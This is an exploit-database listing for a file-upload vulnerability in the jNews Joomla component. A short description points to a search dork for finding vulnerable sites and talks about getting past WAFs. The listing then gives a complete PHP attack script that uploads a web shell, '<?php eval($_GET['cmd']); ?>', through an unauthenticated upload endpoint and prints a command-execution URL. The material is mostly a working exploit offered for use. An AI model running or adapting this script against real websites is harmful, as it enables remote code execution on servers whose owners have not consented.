jNews com_jnews 7.0.0 => 7.7.5 execute arbitrary PHP code

2012-10-31T00:00:00
ID 1337DAY-ID-19668
Type zdt
Reporter Phizo
Modified 2012-10-31T00:00:00

Description

The vulnerability affects all variations of jNews, including the premium ones (this is where the 7.7.5 comes in), not just the free version. The dork "inurl:com_jnews" currently produces "About 37,100 results". The exploit will create a file on the targeted website and enable you to execute arbitrary PHP code using the eval() language construct, which can easily be replaced with something else if needed; you may encounter magic_quotes_gpc() or anything alike which can be circumvented easily. You also may encounter a few WAFs (I did), which miserably fail and can be bypassed by making use of variable functionsand alternative shell commands.

                                        
                                            <?php

# jNews 7.0.0 - 7.7.5 ~ Exploit [46]
# http://hackforums.net/member.php?action=profile&uid=42381


echo <<<EOT

     -----------------------------------
    /   jNews 7.0.0 - 7.7.5 ~ Exploit   \
    \           Author: Phizo           /
     -----------------------------------


EOT;


$options = getopt('u:f:');

if(!isset($options['u'], $options['f']))
    die("\n        Usage example: php jnews.php -u http://target.com/ -f shell.php\n
        -u http://target.com/    The full path to Joomla!
        -f shell.php             The name of the file to create.\n");

$url     =  $options['u'];
$file    =  $options['f'];


$shell = "{$url}components/com_jnews/includes/openflashchart/tmp-upload-images/{$file}";
$url   = "{$url}components/com_jnews/includes/openflashchart/php-ofc-library/ofc_upload_image.php?name={$file}";

$data      = "<?php eval(\$_GET['cmd']); ?>";
$headers = array('User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:15.0) Gecko/20100101 Firefox/15.0.1',
                 'Content-Type: text/plain');


echo "        [+] Submitting request to: {$options['u']}\n";


$handle = curl_init();

    curl_setopt($handle, CURLOPT_URL, $url);
    curl_setopt($handle, CURLOPT_HTTPHEADER, $headers);
    curl_setopt($handle, CURLOPT_POSTFIELDS, $data);
    curl_setopt($handle, CURLOPT_RETURNTRANSFER, true);

$source = curl_exec($handle);
curl_close($handle);


if(!strpos($source, 'Undefined variable: HTTP_RAW_POST_DATA') && @fopen($shell, 'r'))
{
    echo "        [+] Exploit completed successfully!\n";
    echo "        ______________________________________________\n\n        {$shell}?cmd=system('id');\n";
}
else
{
    die("        [+] Exploit was unsuccessful.\n");
}

?>

#  0day.today [2018-01-08]  #